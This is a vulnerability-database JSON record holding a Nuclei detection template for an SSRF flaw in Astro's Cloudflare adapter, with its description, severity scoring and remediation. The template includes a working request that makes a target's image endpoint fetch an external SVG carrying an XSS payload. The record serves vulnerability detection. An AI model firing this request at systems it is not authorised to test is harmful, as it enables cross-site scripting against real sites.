{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-58179/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-58179/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-58179/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-58179/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-58179/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-58179"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-58179"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-58179.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2025-58179\n\ninfo:\n  name: Astro Cloudflare Adapter - Server Side Request Forgery\n  author: HoangAnhThai\n  severity: high\n  description: |\n    Astro is a web framework for content-driven websites. Versions 11.0.3 through 12.6.5 are vulnerable to SSRF when using Astro's Cloudflare adapter. When configured with output: 'server' while using the default imageService: 'compile', the generated image optimization endpoint doesn't check the URLs it receives, allowing content from unauthorized third-party domains to be served. a A bug in impacted versions of the @astrojs/cloudflare adapter for deployment on Cloudflare’s infrastructure, allows an attacker to bypass the third-party domain restrictions and serve any content from the vulnerable origin.\n  impact: |\n    Unauthenticated attackers can bypass third-party domain restrictions to serve arbitrary content from unauthorized domains through the image optimization endpoint, potentially enabling XSS attacks.\n  remediation: |\n    Upgrade Astro's @astrojs/cloudflare adapter to version 12.6.6 or later that properly validates image URLs.\n  reference:\n    - https://github.com/withastro/astro/commit/9ecf359\n    - https://github.com/advisories/GHSA-qpr4-c339-7vq8\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-58179\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n    cvss-score: 7.2\n    cve-id: CVE-2025-58179\n    epss-score: 0.0087\n    epss-percentile: 0.5891\n    cwe-id: CWE-918\n    cpe: cpe:2.3:a:withastro:astro:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: withastro\n    product: astro\n  tags: cve,cve2025,ssrf,xss,astro,cloudflare,vuln,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/_image?href=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '<script type=\"text/javascript'\n          - 'alert(document.domain);'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"image/svg+xml\"\n\n      - type: status\n        status:\n          - 200\n# digest: 480a00453043021f04112f7708f29b2d9c92287f43a69c30a7702bd426160753aff022568397f202207c4cfaec8ed747d6f9669c8a0ddde575e31d8c1576d5b02765810b7c117a8f57:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-58179"
}